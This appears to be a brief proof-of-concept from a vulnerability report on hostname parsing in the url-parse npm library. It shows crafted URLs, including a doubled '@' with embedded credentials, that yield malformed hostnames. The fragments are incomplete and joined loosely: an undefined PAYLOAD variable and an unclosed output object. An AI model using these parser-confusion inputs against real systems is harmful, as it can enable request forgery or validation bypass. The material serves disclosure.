PoC:

// PoC.js
 var parse = require('url-parse')
var cc=parse("http://admin:password123@@127.0.0.1")

//Output:
{ slashes: true,
  protocol: 'http:',
  hash: '',
  query: '',
  pathname: '/',
  auth: 'admin:password123',
  host: '@127.0.0.1',
  port: '',
  hostname: '@127.0.0.1',
  password: 'password123',

console.log(Url(PAYLOAD));

// Expected hostname: example.com
// Actual hostname by url-parse: example.com:

Output:

{
  slashes: true,
  protocol: 'http:',
  hash: '',
  query: '',
  pathname: '/',
  auth: '',
  host: 'example.com:',
  port: '',
  hostname: 'example.com:',
  password: '',
  username: '',
